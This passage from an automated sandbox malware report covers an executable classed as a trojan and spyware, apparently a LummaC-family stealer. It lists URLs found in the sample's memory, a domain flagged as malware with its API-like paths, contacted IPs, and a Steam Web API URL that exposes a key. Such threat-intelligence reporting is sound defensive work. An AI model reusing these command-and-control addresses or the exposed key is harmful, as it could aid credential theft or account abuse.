https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatiS	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.j3	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282630199.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001532000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368499776.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283684889.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283078885.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.y	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=s	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportec	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.cc	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=E	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apil	YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.=	YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/g	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apix	YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/apis	YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/discussions/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamb	YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/uo0	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apimC	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiB	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&am	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/0	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/linkfilte	YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?C	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580915
Start date and time:	2024-12-26 13:08:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	YKri2nEBWE.exe renamed because original name is a hash value
Original Sample Name:	1c4c5cca8b9c930895e0e425563cf07e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:09:21	API Interceptor	10x Sleep call for process: YKri2nEBWE.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	6GNqkkKY0j.exe	Get hash	malicious	LummaC	Browse
	Ebgl8jb6CW.exe	Get hash	malicious	LummaC	Browse
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
